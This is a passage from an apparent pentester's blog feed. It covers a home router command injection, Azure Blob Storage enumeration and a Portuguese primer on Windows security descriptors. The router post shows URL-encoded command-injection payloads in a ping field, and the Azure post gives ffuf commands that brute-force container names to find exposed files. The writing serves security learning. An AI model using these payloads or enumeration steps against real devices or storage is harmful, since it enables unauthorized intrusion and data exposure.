&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2017.png&quot; alt=&quot;CGI source showing direct input concatenation and output saved to &#x2F;tmp&#x2F;ping_result&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Returning to the web app, we kept trying to execute commands without immediate success. After a break, we discovered that the &lt;code&gt;&amp;amp;&lt;&#x2F;code&gt; character wasn&#x27;t blocked. For now, we could encode the &lt;code&gt;&amp;amp;&lt;&#x2F;code&gt; character with URL encoding and attempt to execute commands like this:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;127.0.0.1%26%26id&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2018.png&quot; alt=&quot;Burp Suite request with URL-encoded &amp;amp;&amp;amp; for command injection&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;We received a blank response because the output is only saved when you render the another web page. After sending the request, we need to read &lt;code&gt;&#x2F;tmp&#x2F;ping_result&lt;&#x2F;code&gt; file content because is where our command execution output is.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2019.png&quot; alt=&quot;Reading &#x2F;tmp&#x2F;ping_result to get command output&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2020.png&quot; alt=&quot;ping_result file content showing id command output&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Finally, we achieved command execution. The issue here was that it was a blind command execution, since the output was saved in &lt;code&gt;&#x2F;tmp&#x2F;ping_result&lt;&#x2F;code&gt; and we couldn&#x27;t read this file outside SSH. The web app also didn&#x27;t render the command output directly.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2021.png&quot; alt=&quot;Command execution confirmed but output only accessible via SSH&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;If we look at the output of our command now, we&#x27;ll be surprised by something quite unfortunate, but something we managed to solve later, which was rather &quot;funny&quot; given the ideas we came up with during this process.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2022.png&quot; alt=&quot;ping_result showing truncated output due to application filtering&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;escaping-the-blind-command-execution&quot;&gt;Escaping the blind command execution&lt;&#x2F;h2&gt;
&lt;p&gt;Here&#x27;s what we discovered:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;The function that printed the command output removed some lines from the final result, so we couldn&#x27;t see the output without reading &lt;code&gt;&#x2F;tmp&#x2F;ping_result&lt;&#x2F;code&gt; file.&lt;&#x2F;li&gt;
&lt;li&gt;There was a slight delay between command execution and when the output was saved, so we needed to wait about 5 seconds before checking the output.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;To work around this, we needed to concatenate three commands. Why? By using two &lt;code&gt;nslookup&lt;&#x2F;code&gt; commands, we ensured our command&#x27;s output wasn&#x27;t the last line removed by the application.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2023.png&quot; alt=&quot;Three-command chain to bypass output filtering&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;127.0.0.1%26%26uname%20-a%26%26nslookup%20127.0.0.1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2024.png&quot; alt=&quot;uname -a output visible in ping_result surrounded by nslookup output&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now we need to automate the process by developing a functional exploit for this. Looking at the login process, we noticed the parameter &lt;code&gt;loginPassword&lt;&#x2F;code&gt; didn&#x27;t send the password in plaintext. Instead, it sent an MD5 hash of the password. After logging in, a &lt;code&gt;COOKIE_SESSION_KEY&lt;&#x2F;code&gt; was generated, which indicates that our session is valid and we are authenticated in the environment.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2025.png&quot; alt=&quot;Login request showing MD5-hashed password parameter&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2026.png&quot; alt=&quot;Login response setting COOKIE_SESSION_KEY&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Logging in again showed that the &lt;code&gt;loginPassword&lt;&#x2F;code&gt; value was different from the first login. Apparently, there is a function in the system that ensures the password hash doesn&#x27;t repeat, which I believe is meant to prevent brute force attacks and similar methods.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2027.png&quot; alt=&quot;Second login showing different MD5 hash for the same password&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Inspecting the &lt;code&gt;login.cgi&lt;&#x2F;code&gt; HTML source code, we found the JavaScript function that generated the MD5 hash, the function in question is called &quot;checkLogin,&quot; and it seems to mix the SID value, the original password (in plain text), and finally convert everything to MD5.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2028.png&quot; alt=&quot;login.cgi source showing checkLogin function mixing SID with password for MD5&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Refreshing the page showed that the &lt;code&gt;sid&lt;&#x2F;code&gt; value changed each time, this indicates that every time we access the login page, the SID will be changed, something like a dynamic generation, so it&#x27;s not possible to simply convert our password to MD5 and send it directly to the login form.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2029.png&quot; alt=&quot;Login page source showing dynamic sid value that changes on each load&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;To work with this, our Python script needed to capture the &lt;code&gt;var sid&lt;&#x2F;code&gt; value, concatenate it with the password, and generate the MD5 hash. Using BeautifulSoup, we captured the &lt;code&gt;var sid&lt;&#x2F;code&gt; value after the &lt;code&gt;=&lt;&#x2F;code&gt; character with the following code:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2030.png&quot; alt=&quot;Python script using BeautifulSoup to extract the sid value from login page&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;This is already enough for us to generate a valid hash when submitting it to the login form after updating the code.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2031.png&quot; alt=&quot;Python script generating valid MD5 hash from sid + password&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now, with a valid &lt;code&gt;COOKIE_SESSION_KEY&lt;&#x2F;code&gt;, we could perform authenticated actions on the router. The final step was to replicate the process and integrate it into the script. The final result of our script will be an command execution with direct output, which made exploiting the vulnerability ten times better.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2033.png&quot; alt=&quot;Final exploit script achieving authenticated RCE with direct output&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;&#x2F;h2&gt;
&lt;p&gt;During this process, my friends and I realized that the most ridiculous ideas can work, like concatenating three commands and hoping for the best xD. But honestly, it&#x27;s interesting how watching an H2HC talk sparked this desire in me to explore something I had such easy access to, and in the end, everything worked out. Obviously, all of this was possible thanks to the help of the other members of Inferi, who were exceptional in helping me brainstorm some ideas.&lt;&#x2F;p&gt;
&lt;p&gt;It&#x27;s funny that I have no experience with reverse engineering, but a little bit of guesswork and determination seems to solve everything. Of course, if I had some experience, it would have helped a lot, but that&#x27;s something for the future.&lt;&#x2F;p&gt;
&lt;p&gt;Thank you for reading this far! I hope you&#x27;ve learned something or at least enjoyed the content. Neither the script nor the vulnerability will be made available since this was just field research. But who knows? Maybe this will turn into a CVE in the future, and we&#x27;ll change our minds about publishing it.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;references&quot;&gt;References&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=4_UI9zBLJp0&quot;&gt;youtube.com — Internet of Sh!t - Maycon Vitali - H2HC University 2018&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Attacking Azure Blob Storage Services</title>
        <published>2024-11-22T00:00:00+00:00</published>
        <updated>2024-11-22T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              dsm
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://dsm.golf/blog/attacking-azure-blob-storage/"/>
        <id>https://dsm.golf/blog/attacking-azure-blob-storage/</id>
        
        <content type="html" xml:base="https://dsm.golf/blog/attacking-azure-blob-storage/">&lt;p&gt;Azure, or Microsoft Azure, is a cloud computing platform maintained by Microsoft that offers a bunch of services used by many companies and individuals. Probably, the most famous solutions provided by Microsoft Azure are virtual machines, Azure Kubernetes Services (AKS), solutions for DevOps and DevSecOps, and of course, the giant integration with all other Microsoft services, for example, Active Directory, GitHub, Azure DevOps, Visual Studio, and GitHub Copilot.&lt;&#x2F;p&gt;
&lt;p&gt;Now, what is Azure Blob Storage? Azure Blob Storage is a massively scalable and &lt;del&gt;secure&lt;&#x2F;del&gt; object storage solution for cloud-native workloads, archives, data lakes, HPC, and machine learning (I took this from the Microsoft Azure Blob Storage website). Basically, a lot of companies store their files like videos, documents, executables, logs, backup data, and others in this service and share these resources through their services like web apps, systems, etc.&lt;&#x2F;p&gt;
&lt;p&gt;A Blob Storage is constructed of three types of resources, which are:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Storage Account&lt;&#x2F;strong&gt;: A Storage Account is the unique namespace for your Azure data. So, if you store your data on Azure Storage, your data will be available at an address that uses this namespace as the reference for access. Example: &lt;code&gt;https:&#x2F;&#x2F;000pp.blob.core.windows.net&lt;&#x2F;code&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Container&lt;&#x2F;strong&gt;: A container is where all the blobs get stored; they work similarly to a directory in a file system. A good thing is there is no limit to how many blobs can be stored in a container, of course, because the purpose is to provide large storage access. A container name can be between 3 and 63 characters long and doesn&#x27;t support special characters besides the dash character (-).&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Blob&lt;&#x2F;strong&gt;: A blob is a binary large object and a storage option for any type of data that you want to store in a binary format. (I took this from Microsoft again)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;azure&#x2F;storage&#x2F;blobs&#x2F;media&#x2F;storage-blobs-introduction&#x2F;blob1.png&quot; alt=&quot;Azure Blob Storage resource hierarchy&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Azure Blob Storage is basically Microsoft&#x27;s version of Amazon S3 Bucket or Google Cloud Drive. The main purpose is to serve access to a large scale of files and provide more flexibility in the storing process.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;why-should-i-know-about-this&quot;&gt;Why should I know about this?&lt;&#x2F;h2&gt;
&lt;p&gt;Well, we&#x27;re hackers, or pentesters... so we should know about a bunch of things. Today, it is extremely easy to find websites that use Microsoft services&#x2F;technologies like IIS, ASP.NET, and now, Azure services, like Azure Blob Storage. If we understand the environment that we are fighting in, we know how to find vulnerabilities and create a good report for the client. I have already done a lot of pentests on clients that use Azure Blob Storage and discovered interesting info and sensitive data about the web app, infrastructure, or environment I was attacking with this knowledge.&lt;&#x2F;p&gt;
&lt;p&gt;Now that you understand the importance of knowing what Azure Blob Storage is, we can start talking about the good part: the vulnerabilities that we can find while dealing with this service.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;anonymous-access&quot;&gt;Anonymous Access&lt;&#x2F;h2&gt;
&lt;p&gt;The main advantage of Azure Blobs compared to other Azure artifacts like Azure Files (SMB and REST), Azure Queues, and Azure Tables is that Azure Blobs allow anonymous public read access, as we can see in the image below:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;attacking-azure-blob-storage&#x2F;azure-services.png&quot; alt=&quot;Azure services comparison showing anonymous access support&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;With anonymous access and the right request, we can enumerate all the blobs (files) inside the target Azure Blob Storage and find really good information. As we said before, the base URL for an Azure Blob Storage is &lt;code&gt;STORAGE_ACCOUNT_NAME.blob.core.windows.net&lt;&#x2F;code&gt;, so you need to first discover the Storage Account name. It can be easily discovered if the web app makes a direct request for the file it needs. For example:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;attacking-azure-blob-storage&#x2F;request.png&quot; alt=&quot;HTTP request revealing the storage account name in the URL&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;In the image above, before the first dot is the storage account name. If you can&#x27;t find the storage account this way, I recommend trying three things:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Google Dorking&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;attacking-azure-blob-storage&#x2F;google-dorking.png&quot; alt=&quot;Google Dorking to find Azure Blob Storage URLs&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Use the company&#x27;s name&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;attacking-azure-blob-storage&#x2F;company.png&quot; alt=&quot;Trying the company name as storage account name&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Bruteforce with a custom wordlist&lt;&#x2F;p&gt;
&lt;p&gt;Try using FFUF with a custom wordlist that combines the company name and a generic storage name, like &lt;code&gt;amazoncontent&lt;&#x2F;code&gt;, &lt;code&gt;amazonstorage&lt;&#x2F;code&gt;, &lt;code&gt;amazonfiles&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;If you can find a valid Azure Blob Storage domain, you&#x27;re probably going to find a page similar to this:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;attacking-azure-blob-storage&#x2F;bruteforce.png&quot; alt=&quot;Azure Blob Storage response asking for the comp parameter&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;As we can see in the image above, the service is asking for the parameter &quot;comp&quot;. If we look at Microsoft&#x27;s documentation, it says we can enumerate container names using &lt;code&gt;?comp=list&lt;&#x2F;code&gt;, but this never worked for me. In an ideal world, like the first image I showed you, the container name will be in the URL. Example: &lt;code&gt;https:&#x2F;&#x2F;000pp.blob.core.windows.net&#x2F;static&#x2F;js&#x2F;jquery.js&lt;&#x2F;code&gt; — &lt;strong&gt;static&lt;&#x2F;strong&gt; is the container name. Again, you can use FFUF to enumerate container names. As you can see, the container name is &lt;strong&gt;static&lt;&#x2F;strong&gt;, a common word.&lt;&#x2F;p&gt;
&lt;p&gt;The main problem here is Azure Blob Storage does not indicate if the container name is valid or not, i.e. &lt;strong&gt;static&lt;&#x2F;strong&gt; can be a valid container name and &lt;strong&gt;notnotnotvalid&lt;&#x2F;strong&gt; invalid but we will get the same response for both:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;xml&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;Error&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;Code&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;ResourceNotFound&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;Code&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;Message&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    The specified resource does not exist. RequestId:4f8c64bf-701e-0024-4099-3cb3d7000000 Time:2024-11-22T04:47:01.2790826Z&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;Message&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;Error&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;accessing-blobs-from-a-container&quot;&gt;Accessing blobs from a container&lt;&#x2F;h2&gt;
&lt;p&gt;But Microsoft is not an evil company, and there is a way to identify if the container name is valid or not. We need to append &lt;code&gt;?restype=container&amp;amp;comp=list&lt;&#x2F;code&gt; or just &lt;code&gt;?comp=list&lt;&#x2F;code&gt; to the end of the URL, and blobs will be listed.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;attacking-azure-blob-storage&#x2F;listing.png&quot; alt=&quot;Blob listing after appending restype=container&amp;amp;comp=list&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;With this in mind, we can go back to FFUF and enumerate valid container names through this command:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ffuf -c -w &#x2F;opt&#x2F;SecLists&#x2F;Discovery&#x2F;Web-Content&#x2F;common.txt --fc 404 --mc all -u https:&#x2F;&#x2F;000pp.blob.core.windows.net&#x2F;FUZZ?comp=list&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ffuf -c -w &#x2F;opt&#x2F;SecLists&#x2F;Discovery&#x2F;Web-Content&#x2F;common.txt --fc 404 --mc all -u https:&#x2F;&#x2F;000pp.blob.core.windows.net&#x2F;FUZZ?restype=container&amp;amp;comp=list&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Of course, you can use the tool of your choice, but I really like FFUF and have been using it for the last few years.&lt;&#x2F;p&gt;
&lt;p&gt;Now you can list the blobs. You just need to access the URL indicated by the Name or Url values. For example, if I want to access the .less file from the image I used above, the URL would be something like this: &lt;code&gt;https:&#x2F;&#x2F;000pp.blob.core.windows.net&#x2F;static&#x2F;backend&#x2F;REDACTED&#x2F;css&#x2F;REDACTED.less&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;attacking-azure-blob-storage&#x2F;content.png&quot; alt=&quot;Accessing a blob file directly via URL&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;I used this file as an example, but you can find internal documents by searching for files that end with &lt;code&gt;pdf&lt;&#x2F;code&gt;, &lt;code&gt;csv&lt;&#x2F;code&gt;, &lt;code&gt;xlsx&lt;&#x2F;code&gt;, &lt;code&gt;xls&lt;&#x2F;code&gt;, &lt;code&gt;docx&lt;&#x2F;code&gt;, or low-hanging fruits with &lt;code&gt;js&lt;&#x2F;code&gt;, &lt;code&gt;zip&lt;&#x2F;code&gt;, &lt;code&gt;sql&lt;&#x2F;code&gt; files. Or just adapt the search based on the environment you&#x27;re exploring. If the web app is developed with PHP, you can search for &lt;code&gt;php&lt;&#x2F;code&gt;, &lt;code&gt;inc&lt;&#x2F;code&gt;, &lt;code&gt;bkp&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Another problem is Azure Blob Storage is used to store a large scale of files. If you want to find files that end with pdf, you will need to use CTRL+F on your browser and filter one by one. If that wasn&#x27;t enough, you may come across errors like &lt;code&gt;FeatureVersionMismatch&lt;&#x2F;code&gt; and will need to specify the &lt;code&gt;x-ms-version&lt;&#x2F;code&gt; header with the value &lt;code&gt;2020-04-08&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;I&#x27;m a person that likes to develop tools&#x2F;scripts and bring more convenience to my life. So, I developed a tool to help with Azure Blob Storage. I called it Blobber, and it is developed with Python.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;blobber&quot;&gt;Blobber&lt;&#x2F;h2&gt;
&lt;p&gt;Blobber automates the process of adding &lt;code&gt;?restype=container&amp;amp;comp=list&lt;&#x2F;code&gt; to the URL, checks for errors, tries to bypass them, and lets you view only the really important data and filter by extensions with more convenience. You can skip the filter by extensions flag too, but be careful because a lot of content will be printed (probably).&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;attacking-azure-blob-storage&#x2F;blobber1.png&quot; alt=&quot;Blobber tool output — listing blobs&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;attacking-azure-blob-storage&#x2F;blobber2.png&quot; alt=&quot;Blobber tool output — filtering by extension&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Blobber is available on my GitHub if you have interest in using the tool.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;&#x2F;h2&gt;
&lt;p&gt;Today we learned a bit more about the Azure Blob Storage service and how valuable it is to find one with anonymous access enabled. I really enjoyed reading about this through Microsoft&#x27;s documentation and developing this script (Blobber). In my opinion, this is the best way to learn something new and improve your skills. I hope all you guys liked this post and learned something new. I hope to see you again soon.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;references&quot;&gt;References&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;azure&#x2F;storage&#x2F;blobs&#x2F;&quot;&gt;learn.microsoft.com — Azure Blob Storage&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;azure&#x2F;storage&#x2F;blobs&#x2F;storage-blobs-overview&quot;&gt;learn.microsoft.com — Storage Blobs Overview&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;rest&#x2F;api&#x2F;storageservices&#x2F;blob-service-rest-api&quot;&gt;learn.microsoft.com — Blob Service REST API&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;rest&#x2F;api&#x2F;storageservices&#x2F;blob-service-concepts&quot;&gt;learn.microsoft.com — Blob Service Concepts&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;rest&#x2F;api&#x2F;storageservices&#x2F;enumerating-blob-resources&quot;&gt;learn.microsoft.com — Enumerating Blob Resources&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;rest&#x2F;api&#x2F;storageservices&#x2F;operations-on-containers&quot;&gt;learn.microsoft.com — Operations on Containers&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>(PT-BR) 101 Security Descriptor</title>
        <published>2024-10-24T00:00:00+00:00</published>
        <updated>2024-10-24T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              dsm
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://dsm.golf/blog/101-security-descriptor/"/>
        <id>https://dsm.golf/blog/101-security-descriptor/</id>
        
        <content type="html" xml:base="https://dsm.golf/blog/101-security-descriptor/">&lt;p&gt;O Security Descriptor ou ntSecurityDescriptor, é um atributo de segurança do Windows que contém uma estrutura de dados representativa das permissões e propriedades daquele objeto em questão. Podemos interpretar o mesmo como uma ideia do escopo de permissões do X sobre Y. O ntSecurityDescriptor está presente desde as versões superiores do Windows Server 2000 e se manteve o mesmo desde então.&lt;&#x2F;p&gt;
&lt;p&gt;O Security Descriptor é um representação compactada binária da segurança associada a objeto pertecente ao ambiente. Para comprovação disso, podemos tentar extrair o Security Descriptor de um usuário ou grupo por meio de uma query LDAP e vermos seu formato puro.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;security-descriptor&#x2F;image1.jpg&quot; alt=&quot;Security Descriptor em formato binário extraído via LDAP&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;É importante salientar que o ntSecurityDescriptor é utilizado por DACLs, SACLs, e ACL. Esses três atributos são responsáveis por representar as permissões desse objeto consumindo os dados do ntSecurityDescriptor. Essas permissões são de quem representa aquele objeto, quem pode acessar esse objeto e o que pode fazer com o mesmo, informações de auditoria do objeto e restrições sobre tal.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ACL&lt;&#x2F;strong&gt;: &lt;em&gt;Access Control List&lt;&#x2F;em&gt; é uma lista de proteções de seguranças que são aplicadas sobre um objeto. Deve-se entender que objetos podem ser um arquivo, processo, evento, ou tudo aquilo que também tiver um &quot;Security Descriptor&quot;;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;ACE&lt;&#x2F;strong&gt;: &lt;em&gt;Access Control Entries&lt;&#x2F;em&gt; são entrada de dados de ACLs (Access Control List). Uma ACE contém uma lista de permissões sobre um SID que irá identificar se tais permissões participam dos escopos: Allowed, Denied ou Audited;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;DACL&lt;&#x2F;strong&gt;: &lt;em&gt;Discretionary Access Control List&lt;&#x2F;em&gt; é o responsável por identificar os administradores ou objetos que tem permissões ou não sobre objetos protegidos. Caso um processo tente interagir com um objeto protegido, o sistema irá requisitar ao que ACE busque na DACL se aquele autor em questão tem as permissões necessárias;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;SACL&lt;&#x2F;strong&gt;: &lt;em&gt;System Access Control List&lt;&#x2F;em&gt; é uma lista que permite que adminstradores registrem tentativas de interação ou acesso a um objeto protegido. Cada ACE irá especificar as tentativas de acesso sobre aquele item e fará com que o sistema armazene essa tentativa no Security Event Log;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;security-descriptor&#x2F;image2.jpg&quot; alt=&quot;Diagrama de ACL, ACE, DACL e SACL&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
